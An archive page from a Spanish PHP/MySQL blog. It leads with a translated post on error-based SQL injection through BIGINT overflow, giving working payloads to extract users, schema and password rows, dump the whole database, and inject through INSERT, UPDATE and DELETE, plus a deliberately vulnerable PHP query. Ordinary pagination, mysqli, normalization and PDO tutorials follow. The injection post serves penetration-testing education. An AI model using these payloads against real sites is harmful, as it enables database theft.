Mostrando entradas con la etiqueta mysql. Mostrar todas las entradas
Mostrando entradas con la etiqueta mysql. Mostrar todas las entradas

domingo, 12 de julio de 2015

Desbordamiento BGINT - Inyeccion SQL basada en error

Hola el otra vez estaba chateando con un amigo Osanda Malith Jayathissa y le pregunte si podria traducir algunos de sus post y gracias a que me dejo hoy les traducire un post muy bueno que he visto en su blog.

Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com


Empecemos... 

Les recomiendo tambien: http://arthusu.blogspot.mx/2013/04/double-query-error-based-sql-injection.html

Resumen

Yo estaba interesado en conocer nuevas tecnicas que podamos utilizar para la extraccion de datos a traves de errores de MySQL. Esto es un detallado relato que le hara entender como hice estas consultas. Cuando miramos como MySQL trata enteros me interesaban los desbordamientos que causan. Asi es como MySQL almacena numeros enteros.


(Fuente: http://dev.mysql.com/doc/refman/5.5/en/integer-types.html

Estos errores de desbordamiento son causados en las versiones 5.5.5 y superiores. En las versiones inferiores un desbordamiento de enteros se traduciria en un envolvente silencio. El tipo de datos BGINT es de 8 bytes de tamaño lo que significa que es de 64 bits. Si tomamos el valor maximo firmado de un BGINT es "0b0111111111111111111111111111111111111111111111111111111111111111",
"0x7fffffffffffffff", "9223372036854775807" en binario, hexadecimal y decimal respectivamente. Una vez que evaluamos expresiones numericas como adicion causara un "valor BGINT esta fuera de rango (BIGINT value is out of range)" como error.

mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
Para solucionar el error anterior podriamos simplemente encasillarlo en un unsined int (entero sin asignar). Si nos fijamos en el valor maximo de BGINT sin asignar es "0b1111111111111111111111111111111111111111111111111111111111111111",
"0xFFFFFFFFFFFFFFFF","18446744073709551615" en binario, hexadecimal y decimal respectivamente. Asi mismo se aplica, si evaluamos expresiones numericas de este valor como la adicion o sustraccion causara un "BIGINT value is out of range" como error.


# En decimal

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551
615 + 1)'


# En binario

mysql> select cast(b'11111111111111111111111111111111111111111111111111111111111
11111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'


# En hexadecimal

mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'

¿Y si hacemos una negacion bit a bit a "0"? El resultado sera el valor maximo BGINT sin asignar. Este es un hecho evidente. 




mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

Asi que si, si sumamos o restamos del ~0 que dara lugar a un desbordamiento BGINT.


mysql> select 1-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

Inyeccion

Yo queria aplicar subconsultas y causar un desbordamiento BGINT para de esa manera extraer los datos. Si nos fijamos en la negacion logica deberia devolver 1 para cualquier consulta. Por ejemplo, si se aplica una negacion logica de una consulta como (select * from (select user())x);

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost                |
+-------------------------------+
1 row in set (0.01 sec)

 # Aplicando negacion logica

mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.01 sec)

Si, perfecto! asi que simplemente nosotros podemos combinar ambos tanto nivel de bits (bitwise) y negaciones logicas y construir la consulta basada en error.

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (not((sele
ct 'root@localhost' from dual))))'
Vamos a dejar de usar el signo de adicion '+' se convertira en un espacio a analizar a traves del navegador web. En su lugar podemos utilizar la resta. Estas son algunas variaciones de la misma  inyeccion. Las consultas finales serian.

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)
Por ejemplo aplicaquemos esta inyeccion en una consulta como esta:

mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0
))'
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -&Submit=Submit#

Utilizando desbordamiento BGINT basado en error podemos usar casi cualquier funcion matematica valida en MySQL como estas, ya que ellas se niegan. Solo tiene que pasar los argumentos de acuerdo a la funcion.

select !atan((select*from(select user())a))-~0;
select !log((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
He probado con lo siguiente. usted puede encontrar mas:

HEX
IN
FLOOR
LOG
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

Extraccion de datos

La extraccion de datos es normal igual que otras inyecciones. Mostrare un poco. Conseguir los nombres de las tablas:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

Obtener los nombres de columna:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

Obteniendo datos:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;


Dump in one shot

Antes de continuar aqui les recomiendo leer: http://arthusu.blogspot.mx/2015/01/dios-dump-in-one-shot-explicado.html

¿Podemos volcar (dumpear) todas las bases de datos, las tablas y las columnas en un solo disparo? La respuesta es si. Pero cuando tratamos de volcar tablas y columnas de todas las bases de datos podemos obtener solo unos pocos resultados de vuelta ya que estamos tratando de recuperar los datos a traves de un error. Pero podemos recuperar hasta 27 resultados cuando tratamos de volcar la base de datos actual. Estas son algunas variaciones de las de anteriores (arriba):


!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)




Las limitaciones serian el numero de resultados que podemos recuperar. Supongamos que puedo crear una tabla con 31 columnas dentro de esta base de datos. Solo 27 serian vistos y mis otras 4 tablas y columnas de usuarios no se devolverian.




Inyeccion en INSERT

En declaraciones de INSERT podemos inyectar asi. La sintaxis seria " OR (PAYLOAD) OR "", las comillas dependen de la consulta. Usted puede leer mi investigacion anterior sobre este tema desde mi blog o whitepaper.  

mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Tambien podemos realizar la consulta DIOS.

insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

Inyeccion en UPDATE

En la inyeccion de UPDATE es igual que en la de INSERT. Podemos inyectar asi.

mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Inyeccion en DELETE

Igual que las anteriores podemos usar la inyeccion en DELETE.

mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Conclusion

Como conclusion hay que tener en cuenta lo siguiente. Para llevar a cabo esta inyeccion debe haber un mysql_error() haciendo echo devuelta a nosotros por eso la inyeccion es a base de errores. La version de MySQL debe ser 5.5.5 o superior. Puede haber muchas variaciones de estas inyecciones de desbordamiento. Por ejemplo, incluso XORing 0 con un valor como 222 y restando podemos causar un desbordamiento de BGINT.

mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

Si el backend no tiene comillas simples, doble comillas o parentesis. Por ejemplo, si modifico el codigo de DVWA asi, eliminando las comillas. Simplemente podemos inyectar sin hacer la consulta falsa por OR 1.




 
<?php   
 
if(isset($_GET['Submit'])){
    // Retrieve data
    $id = $_GET['id'];
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    $num = mysql_numrows($result);
    $i = 0;
    while ($i < $num) {
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name"); 
        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';
        $i++;
    }
}
?>


http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222
&Submit=Submit#


 

Espero que esta investigacion sea util durante las pruebas de penetracion. 

Referencias

[1] http://dev.mysql.com/doc/refman/5.5/en/integer-types.html
[2] https://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html
[3] https://dev.mysql.com/doc/refman/5.0/en/mathematical-functions.html


Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com
 


viernes, 13 de marzo de 2015

Paginar resultados de mysql con zebra paginator

Buenas, hoy recorde despues de mucho tiempo esta libreria simple, ya que un amigo por skype se le dificultaba un poco la paginacion y con esta libreria simple y precisa podemos realizar este proceso rapidamente. 

Anteriormente habia hecho una entrada en este mismo blog sobre como realizar la paginacion de manera estructurada. 

Hoy vengo a presentarles la libreria Zebra Paginator la cual nos generará los links de paginacion casi de manera automatica, solo necesitaremos el archivo siguiente: https://raw.githubusercontent.com/stefangabos/Zebra_Pagination/master/Zebra_Pagination.php


Aqui algunas de las propiedades, metodos que tendremos que configurar, ademas sobre algunas funciones de MySQL no muy conocidas.

get_page() - Este metodo retorna el numero de paginas actuales

records() - Establece el numero total de registros que deben ser paginados.

records_per_page() - Establece el numero de registros que se muestran en una sola pagina.

render() - Genera la salida. 

SQL_CALC_FOUND_ROWS - Calcula el numero de resultados de una consulta sin LIMIT.

FOUND_ROWS() - obtiene el resultado del ultimo SQL_CALC_FOUND_ROWS ejecutado.

Hay cuatro propiedades que se cambian muy usualmente en la libreria las cuales son:

* next - esta muestra el texto a salida. Ejemplo: Siguiente
* previous - esta muestra el texto a salida. Ejemplo: Anterior
* variable_name - Es la variable que sera usada. Ejemplo: pagina
* method - Es el metodo por el cual se enviara GET o POST

Un ejemplo basico de paginacion seria el siguiente, el cual es algo generico ya que usamos la base de datos information_schema para que no tengas que crear una base de datos en este ejemplo:



 <title>Paginacion</title>
<style type="text/css">
    .Zebra_Pagination li {
        list-style-type: none;
        display: inline;
        padding-right: 5px;
    }

</style>
<?php
$con = mysqli_connect('localhost','root','','information_schema') or die(mysqli_error());
// cuanto registros seran mostrados por pagina
$records_per_page = 10;

// incluimos la clase
require 'Zebra_Pagination.php';

// instanciamos el objeto zebra paginator
$pagination = new Zebra_Pagination();

// la declaracion mysql para devolver registros
// nota como creamos el limit
// tambien, nota el  "SQL_CALC_FOUND_ROWS"
// esto es para obtener el número de filas que han sido devueltos si no había LIMIT
// mira mas http://dev.mysql.com/doc/refman/5.0/en/information-functions.html#function_found-rows
$MySQL = '
    SELECT
        SQL_CALC_FOUND_ROWS
        *
    FROM
        tables
    LIMIT
        ' . (($pagination->get_page() - 1) * $records_per_page) . ', ' . $records_per_page . '
';

// si la consulta no se pudo ejecutar
if (!($result = @mysqli_query($con,$MySQL))) {

    // dejamos un mensaje de error
    die(mysqli_error($con));

}

// arrojamos el numero de registros totales de la tabla
$rows = mysqli_fetch_assoc(mysqli_query($con,'SELECT FOUND_ROWS() AS rows'));

// pasamos el numero total de registros a la clase pagination
$pagination->records($rows['rows']);

// registros por pagina
$pagination->records_per_page($records_per_page);

?>

<table class="countries" border="1">

    <tr><th>Prueba</th></tr>


    <?php while ($row = mysqli_fetch_assoc($result)):?>

    <tr>
        <td><?php echo $row['TABLE_NAME']; ?></td>
    </tr>

    <?php endwhile?>

</table>

<?php

// Da salida a los enlaces de paginacion
$pagination->render();

?>







 

Hay cosas que no tomo muy en cuenta a explicar como son la instancia del objeto Zebra Paginator, incluir la libreria, mostrar estilos de salida, o reaizar las peticiones en la db, lo que les recomendaria es checar la libreria desde Github obteniendo muchos ejemplos, es una libreria muy limpia, y contiene muchos ejemplos, esto es todo saludos!

viernes, 14 de noviembre de 2014

[Funciones Comunes] PHP Y MySQL

Buenas, como no mostre en las partes de PHP las funciones de MySQL  para poder utilizarlo en conjunto, mostrare algo basico sobre como trabaja cada funcion, ya que como ya se hicieron varias partes de MySQL aqui en el blog:

Minitutoriales MySQL:

1.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-1.html
2.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-2.html
3.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-3.html
4.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-4.html
5.- http://arthusu.blogspot.mx/2013/05/mysql-minitutorial-parte-5.html



Me pasare solo a las funciones... Sin nada mas que decir comencemos.


Conectar a una base de datos

Para conectar a una base de datos utilizamos la funcion:

mysqli_connect(host,usuario,contraseña,nombre_basedatos);

La opcion nombre_basedatos es opcional y en lugar de indicar el nombre de la base de datos ahi podemos utilizar la funcion:

mysqli_select_db(nombre_basedatos);

Establecer un conjunto de caracteres


mysqli_set_charset($con,'utf8');

En este caso usamos la conexion, $con y establecemos un conjunto de caracteres utf8, la conexion estaria de la siguiente manera:

$con = mysqli_connect(host,usuario,contraseña,nombre_basedatos);
 


Puedes ver una lista de cotejamiento en la cual se indica los caracteres a utilizar, esto es util cuando usas algunos caracteres latinos, ya sea ñ o algun acento, "pon atención" por ejemplo lleva acento.


Ejecutar consultas

Para ejecutar consultas podemos utilizar la funcion:

$r = mysqli_query($con,$q);

- donde $r es una variable donde guardamos el resultado de la ejecucion de la consulta
- $q es la consulta, por ejemplo puede ser: $q = "SELECT * FROM tabla"
- $con es la conexion  
- con mysqli_query ejecutamos la consulta, esta devuelve falso en caso de error o true y un objeto de result en caso de que sea verdad.

Mostrar error en consulta

En caso de tener algun error en la consulta, podemos utilizar la funcion:

mysqli_error($con);

Para ello podriamos hacer un condicional o simplemente podemos matar el script en caso de error:

$r = mysqli_query($con,$q) or die(mysqli_error($con));

Cerrar la conexion a la base de datos

Para cerrar la conexion a la base de datos utilizamos la funcion:

mysqli_close($con);

- donde $con es la conexion


Devolver resultados de una consulta

Para devolver una consulta (como un array) podemos usar la funcion:

mysqli_fetch_array(resultadodemysqliquery,opciones);

donde resultadodemysqliquery es el objeto devuelto por la misma ejecucion de la consulta correctametne

- donde opciones puede ser MYSQLI_ASSOC (para devolver un array - como asociativo, referirse a el con los nombres de las columnas) o MYSQLI_NUM (para referirse a las columnas con los numeros 1,2,3,4, etc)


$filas= mysqli_fetch_array($r,MYSQLI_ASSOC);
echo $filas['ejemplo']; // devuelve ejemplo1

Como vez haciendo referencia a la columna nos devolvera el ultimo resultado, pero si queremos todos los resultados tendremos que recorrerlos utilizando bucles:

while($filas = mysqli_fetch_array($r)) { // aca hacemos algo }

while($filas = mysqli_fetch_array($r)) {
    echo $filas['ejemplo'] .'<br>';
}



Este ultimo devolveria algo como:

ejemplo1
ejemplo2
ejemplo3
ejemplo4

y asi sucesivamente dependiendo de las filas de la columna a la que nos refiramos...

Liberar memoria asociada a un resultado

Es muy comun, despues de haber realizado un retorno de resultados liberar memoria del mismo resultado utilizando la funcion:

mysqli_free_result($r);

- donde $r es la variable del resultado

Escapar caracteres especiales en MySQL

Esto es muy usado para mitigar ataques de Inyeccion SQL, los cuales escapa los siguientes caracteres:
NULL (ASCII 0), \n, \r, \, ', ", y Control-Z 

Digamos que por ejemplo, tenemos un campo para insertar a una base de datos como es:

$_POST['micampo'];

podriamos escapar ese campo utilizando la funcion:

mysqli_real_escape_string($con,losdatosaqui);

- donde $con es la conexion
- losdatosaqui es por ejemplo $_POST['micampo'];

$campo = mysqli_real_escape_string($con,strip_tags($_POST['micampo']));

Contar los registros devueltos

Para contar el numero de filas devueltas podemos utilizar la funcion:

mysqli_num_rows($r);

- donde $r es el resultado de la ejecucion de la consulta

En muchos casos es utilizada, como por ejemplo en algun inicio de sesion, al momento de saber si el login es correcto podemos hacer un condicional para saber si esa consulta a retornado alguna fila:

$q = "SELECT * FROM usuarios";
$r = mysqli_query($con,$q);
if(mysqli_num_rows($r) > 0){ // devolvio alguna fila }

Filas afectadas por consultas como UPDATE, DELETE o INSERT


Muchas veces queremos saber si nuestra consulta (las que se mencionan en el titulo) ha sido efectuada correctamente para ello es comun utilizar la funcion:

mysqli_affected_rows($con);

La cual retorna verdadero en caso de que nuestra consulta se haya realizado correctamente o FALSO en caso contrario.


Hasta aqui termino este pequeño y corto tutorial de referencia de funciones de PHP para MySQL muy comunmente se usan, y para ver sobre como realizar consultas podemos ir a los minitutoriales de MySQL, este tutorial de referencia es parte de los tutoriales de PHP.

martes, 24 de junio de 2014

[Parte 4] PHP

En esta parte de PHP intentaremos ver algo sobre base de datos y usaremos MySQL y no dare la teoria ya que pues en los minitutoriales de MySQL que se encuentran en el blog son mas que suficientes para la teoria, pero si entrare en algunos conceptos que no creo haber mencionado en los minitutorials de MySQL en la teoria.

Minitutoriales MySQL:

1.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-1.html
2.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-2.html
3.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-3.html
4.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-4.html
5.- http://arthusu.blogspot.mx/2013/05/mysql-minitutorial-parte-5.html


Normalizacion

Para poder trabajar correctamente con las bases de datos relacionales se creo un proceso llamado normalizacion el cual seguiremos para que los diseños de nuestra bases de datos sean correctos. 

Claves

Hay dos tipos de claves las claves primarias y las claves foraneas.

Una clave primaria es un identificador unico que tiene que cumplir las siguientes reglas:

* No pueden ser valores NULL
* Tener un valor que nunca cambia
* Tener un valor unico para cada registro en una tabla

Un ejemplo de clave primaria podria ser la CURP la cual su valor nunca cambia y es unico para cada persona.

La clave foranea son la representacion en la tabla B de la clave principal en la tabla A. Si tenemos una base de datos cine con una tabla peliculas y una de directores, la principal de los directores estaria vinculada con la clave foreanea en peliculas.

Nota Importante: ¨Las claves primarias es ideal que sean numeros enteros para poder obtener un mayor rendimiento.

Relaciones

Las relaciones en la base de datos se refiere a como una tabla se puede relacionar con otra tabla, de alguna manera juntandose (relacionandose). 

Las relaciones deben ser comunmente 1 a varias, ya que si son varias a varias conducen a la redundancia, por lo cual deberiamos hacer que las relaciones sean 1 a varias o 1 a 1.


Las relaciones y las claves trabajan juntos, una clave en una tabla se relacionara con una clave en otra tabla.




Podemos usar MySQL WorkBench como software para diseñar nuestras bases de datos: http://www.mysql.com/products/workbench/

Una relacion varios a varios entre dos tablas es mejor representado como dos uno-varios esas tablas tendran otra tabla como intermediario.

Las bases de datos utilizan ciertas convenciones para estar bien estructuradas. El proceso de un diseño de base de datos obtiene como resultado un ERD (entity-relationship model) o ERM (entity-relationship model). El termino "relacional" en RDBM se deriva de las tablas que son tecnicamente llamadas relacionales.

1 Forma Normal (1NF):

- Cada columna debe tener solo un valor (esto aveces se describe como ser atomica o indivisible (que un solo dato no se divida en varios))
- La tabla no puede tener grupos repetidos de datos relacionados.

Un ejemplo incorrecto para esta norma seria usar, una tabla que contiene la direccion completa de una persona, con las siguientes columnas: calle, ciudad, estado, codigo_postal, pais... ya que tiene varios valores en una columna.

Y el otro ejemplo incorrecto seria una tabla peliculas donde tenemos actor1,actor2,actor3 por que las columnas se repiten con el mismo tipo de informacion.

2 Forma Normal (2NF):

En esta forma se indica que se crearan mas y mas tablas para que no haya redundancia. Un ejemplo podria ser un director de cine, en una tabla de peliculas, en la cual el director de cine puede repetirse tantas veces como haya creado una pelicula, entonces ahi lo correcto seria crear una tabla para el director. Este tipo de llaves son foraneas de manera que se enlacen a la llave principal de la tabla principal.



Aqui puedes ver como para hacer la base de datos compatible con la segunda forma normal hemos creado varias tablas para no causar redundancia.

3 Forma Normal (3NF):

La tercera norma indica que si se cambia el valor de una tabla o se modifica tendra que cambiar el valor de otro, lo cual causaria problemas, es por eso que es mejor dejarlas como estan bien normalizadas o simplemente crear una nueva tabla para hacer referencia en ella en las otras tablas.


La normalizacion es un compromiso entre la integridad de datos, escalabilidad y simplicidad/velocidad.

Existen mas formas de normalizacion pero con llenar hasta la tercera forma normal es mas que suficiente para que tu base de datos trabaje de forma normalizada y correcta.

Les dejo un documento que puede ser leido para tomar mayor claridad sobre el asunto de la normalizacion: http://www.eet2mdp.edu.ar/alumnos/MATERIAL/MATERIAL/info/infonorma.pdf

 

martes, 17 de septiembre de 2013

Sistema de paginacion en PHP y MySQL




Bueno amigos como tenia rato sin aportar nada ahora que ando al pedo xD
Me he puesto a crear un par de tutoriales que les pueden ser de utilidad para cualquier trabajo, ya que es una de las cosas mas usadas, en el desarrollo web...

Les dejo el PDF para que se entretengan leyendo....

Ver online: http://www.mediafire.com/view/9q5m6yyld9ud41w/tutorial_paginacion_php_mysql.pdf

Descargar: http://www.mediafire.com/download/9q5m6yyld9ud41w/tutorial_paginacion_php_mysql.pdf

lunes, 26 de agosto de 2013

[Tutorial] PDO MySQL

¿Por que usar PDO en lugar de mysql_*?

Una de las razones es por que ya no tendrá mas mantenimiento.


Y otra es que PDO es mas eficaz, limpio y seguro.

¿Que es PDO?

Es un controlador que implementa la interfaz de datos de php (PDO) esta disponible para varias bases de datos pero nosotros nos enfocaremos en mysql, para poder en este caso utilizar PDO necesitamos tener ese controlador y podemos verificarlo desde un archivo PHP que contenga la función:  phpinfo();



PDO viene por defecto en PHP 5.1 y aprovecha las sentencias preparadas en MySQL 4.1 o superior. Si se utiliza un version anterior PDO las emulará.

Conectando a MySQL

Anteriormente conectabamos a MySQL de la siguiente manera:


$conectar=mysql_connect('localhost','usuario','contrasena');
mysql_select_db('tubasededatos',$conectar);
mysql_set_charset('UTF-8',$conectar);

En este caso lo que hacemos seria conectar a la base de datos y darle que nos acepte caracteres unicode :)


Ahora con usando PDO en MySQL conectamos de la siguiente manera:

$bd=new PDO($dsn,$usuario_bd,$contraseña_bd);

Explico:

$dsn  - Data source name (nombre de origen de datos), nos indica a que tipo de base de datos nos estaremos conectando en este caso como es mysql, tiene varios parametros como son: host, port, dbname, unix_socket,charset. Su sintaxis basica es la siguiente:

DRIVER:HOST;dbname=mibd;

$usuario - Es el nombre de usuario de la base de datos

$contraseña_bd - Es la contraseña de la base de datos


Un ejemplo haciendo la conexion como la que usabamos anteriormente pero ya aplicando PDO en MySQL es de la siguiente manera:

$bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','Usuario','Contraseña');


Entonces vamos hacer nuestra conexion :D



Si todo aparece en blanco significa que la conexion se ha realizado con exito, sino entonces deberia saltar un error. Por ejemplo:



Como ves ese error se ve algo feo entonces podemos usar una excepción y arrojar nuestro propio error antes en mysql_* usabamos or die()

De la manera anterior:

$conectar=mysql_connect('localhost','usuario','contrasena') or die('No se pudo conectar con la base de datos.');

Usando Excepciones con PDO en MySQL:

try{
 $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','Usuario','Contraseña');
}catch(PDOException $ex){
  echo 'No se pudo conectar con la base de datos.';
}

En este caso si no damos algun dato correcto nos dara el mensaje de error personalizado.



Realizar Consultas

Seleccionando datos

Se podría decir fácilmente que esta es la parte mas interesante :D

Anteriormente, pediamos una consulta de la siguiente manera:

$conectar=mysql_connect('localhost','usuario','contraseña') or die('No se pudo conectar con la base de datos.');
    mysql_select_db("test");
    $peticion=mysql_query("SELECT * FROM accounts",$conectar);
    while($filas=mysql_fetch_array($peticion,MYSQL_ASSOC)){
        echo $filas['id']."<br />";
        echo $filas['name']."<br />";
        echo $filas['balance']."<br />";
        echo "<hr />";
    }

Que lo que haria seria conectar a la base de datos, seleccionar nuestra base de datos, y luego hacer una peticion, mientras la peticion sea verdad nos arrojara los registros id,name y balance.

De esa manera nos arrojaba un resultado como el siguiente:


Usando PDO en MySQL lo podemos hacer de la siguiente manera:

try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    $stmt= $bd->query("SELECT * FROM accounts");
    while($filas=$stmt->fetch(PDO::FETCH_ASSOC)){
        echo $filas['id']."<br />";
        echo $filas['name']."<br />";
        echo $filas['balance']."<br />";
        echo "<hr />";
    }



Lo que decimos con este codigo es que se conecte a la base de datos que haga la peticion haciendo referencia al objecto $bd, query() este metodo lo que hace es ejecutar una consulta, mientras que sea verdad que nos muestre las filas id,name y balance. fetch() este metodo nos devuelve un array con los registros y con el bucle while los recorremos, en este caso le damos la opcion PDO::FETCH_ASSOC que estamos dandole que se puedan poner los arrays con su nombre, otra opcion del modo de devolver los registros podria ser numericos usando PDO::FETCH_NUM.

Y el resultado es exactamente el mismo.

También podemos usar el método fetchAll() en lugar de fetch() la diferencia es que fetchAll() retorna todos los registros y fetch() de 1 registro en 1 por eso lo recorremos con el bucle, una manera de verlo en accion seria comparando estos dos, de la siguiente manera:

Ejemplo usando fetchAll():

try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    $stmt= $bd->query("SELECT * FROM accounts");
    print_r($stmt->fetchAll(PDO::FETCH_ASSOC));

Resultado:



Ejemplo usando fetch():

try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    $stmt= $bd->query("SELECT * FROM accounts");
    print_r($stmt->fetch(PDO::FETCH_ASSOC));

Resultado:




Obteniendo el numero de filas


Anteriormente utilizabamos la funcion mysql_num_rows() para realizar esta accion, de manera que era asi:

$conectar=mysql_connect('localhost','usuario','contraseña') or die('No se pudo conectar con la base de datos.');
    mysql_select_db("test");
    $peticion=mysql_query("SELECT * FROM accounts",$conectar);
    echo mysql_num_rows($peticion);


De esta manera como solo tengo 3 filas me devolveria el numero 3 :P :D

Podemos hacer lo mismo usando el metodo rowCount() en PDO.


try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    $stmt= $bd->query("SELECT * FROM accounts");
    echo $stmt->rowCount();

Seria el mismo resultado 3 por que son 3 filas :D, rowCount() - retorna el numero de filas.


Ultimo id de inserción de registros

mysql_insert_id() - devuelve el ultimo numero de registro.
Si el registro se inserta devuelve el numero del ultimo registro pero si no se inserta devuelve un 0.

Ejemplo usando mysql_insert_id():

$conectar=mysql_connect('localhost','usuario','contraseña') or die('No se pudo conectar con la base de datos.');
    mysql_select_db("test");
    $peticion=mysql_query("INSERT INTO usuarios (nombre,apellido) VALUES ('john2','doe2')",$conectar);
    echo mysql_insert_id();

El resultado es el siguiente:



Usando PDO el metodo lastInsertId(); seria su equivalente.

try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    $stmt= $bd->query("INSERT INTO usuarios (nombre,apellido) VALUES ('john2','doe2')");
    echo $bd->lastInsertId();

El resultado:








Declaraciones insert, update y delete

mysql_affected_rows() - Nos dice el numero de filas que han sido afectadas  en las consultas insert,update o delete.

Un ejemplo usando esta funcion:

$conectar=mysql_connect('localhost','usuario','contraseña') or die('No se pudo conectar con la base de datos.');
    mysql_select_db("test");
    $peticion=mysql_query("UPDATE usuarios SET nombre='john'",$conectar);
    echo mysql_affected_rows();



En este caso me devolveria 8 ya que 8 filas fueron afectadas por ese update ya que no le indique un filtro de que valores quiero solamente.


Podemos hacer lo mismo usando PDO de la siguiente manera:




try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    $rows_affected=$bd->exec("UPDATE usuarios SET nombre='arthusu'");
    echo $rows_affected;


En este caso obtendríamos el mismo resultado que es 8 filas cambiadas, algo interesante en esta parte es que no estamos usando el método query() sino estamos usando exec() para ejecutar la consulta esto lo usamos mas en clausulas insert,update y delete.


Declaraciones Preparadas


Las declaraciones preparadas es la parte mas importante aqui ya que con esto nos evitaremos las famosas "Inyecciones SQL".


prepare() - Prepara una sentencia SQL
execute() - Ejecuta una sentencia preparada
bindParam() - Vincula un parametro al nombre de variable especificado


Un ejemplo:


try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    if(isset($_POST['enviar'])){
    $stmt=$bd->prepare("INSERT INTO usuarios (nombre,apellido) VALUES (:nombre,:apellido)");
    $stmt->bindParam(':nombre',$_POST['nombre'],PDO::PARAM_STR);
    $stmt->bindParam(':apellido',$_POST['apellido'],PDO::PARAM_STR);
    $stmt->execute();
    }



